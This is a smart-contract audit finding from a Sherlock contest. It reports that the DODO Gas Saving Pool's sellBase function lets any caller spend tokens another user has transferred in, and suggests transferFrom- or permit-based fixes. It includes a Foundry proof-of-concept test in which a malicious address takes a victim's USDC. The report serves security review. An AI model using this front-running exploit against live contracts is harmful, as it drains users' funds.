Vulnerability in GSPTrading.sol's sellBase Function Leading to Unauthorized Token Expenditure(Race Condition / Front-running attack)

dian.ivanov

high

Summary

The current implementation of GSPTrading's sellBase allows any user to call buyShares and utilize the tokens already transferred by others. https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/af43d39f6a89e5084843e196fc0185abffe6304d/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPTrader.sol#L42

Vulnerability Detail

The vulnerability arises because the sellBase function uses the contract's current token balance, deducting the last updated reserves, without verifying token ownership. Users transfer tokens to the contract and then call sellBase, expecting it to use only their tokens. However, if multiple users transfer tokens, the first one to call sellBase could use all these tokens, resulting in financial losses for the others.

Impact

This vulnerability can lead to unauthorized use of tokens, where one user can effectively spend tokens transferred by others. Potentially leading to financial losses for users.

Code Snippet

Include this test to GSPFunding.t.sol, it demonstrates how a malicious user can front-run or just buy shares of another use who forgot to buy his shares or use the transferred tokens anyhow, the test will pass, but it shouldn't:

    function test_maliciousUserSellsBaseInsteadOfUser() public {
        address MALICIOUS_USER = vm.addr(123);
        // buy shares
        vm.startPrank(DAI_WHALE);
        dai.transfer(USER, (BASE_RESERVE + BASE_INPUT));
        vm.stopPrank();
        vm.startPrank(USDC_WHALE);
        usdc.transfer(USER, QUOTE_RESERVE);
        vm.stopPrank();
        vm.startPrank(USER);
        dai.transfer(address(gsp), BASE_RESERVE);
        usdc.transfer(address(gsp), QUOTE_RESERVE);
        vm.stopPrank();

        //buy shares
        vm.startPrank(USER);
        gsp.buyShares(USER);
        vm.stopPrank();

        //sellbase
        vm.startPrank(USER);
        dai.transfer(address(gsp), BASE_INPUT);
        vm.stopPrank();

        //Malicious user sells user's money
        vm.startPrank(MALICIOUS_USER);
        assertEq(usdc.balanceOf(MALICIOUS_USER), 0);
        console.log("hacker before: ", usdc.balanceOf(MALICIOUS_USER));
        gsp.sellBase(MALICIOUS_USER);
        assertEq(usdc.balanceOf(MALICIOUS_USER), 999935);
        console.log("hacker after: ", usdc.balanceOf(MALICIOUS_USER));
        vm.stopPrank();

        //The user who initially transferred the tokens and bought the shares is not able to sellBase
        vm.startPrank(USER);
        uint256 usdcBalanceBefore = usdc.balanceOf(USER);
        console.log("USERbefore: ", usdc.balanceOf(USER));
        gsp.sellBase(USER);
        console.log("USERafter: ", usdc.balanceOf(USER));
        assertEq(usdc.balanceOf(USER), usdcBalanceBefore);
        vm.stopPrank();
    }

Tool used

Manual Review

Recommendation

To mitigate this risk, the contract can use a permit or approvals mechanism, paired with the transferFrom method. This approach would enable the contract to securely pull tokens from a user's account and execute sellBase in a single, atomic operation. Another approach could be using mappings with everyone's transfered amounts for the base and quote tokens and checks if they are sufficient.

Duplicate of #78

sherlock-audit / 2023-12-dodo-gsp-judging

dian.ivanov - Vulnerability in GSPTrading.sol's sellBase Function Leading to Unauthorized Token Expenditure(Race Condition / Front-running attack) #99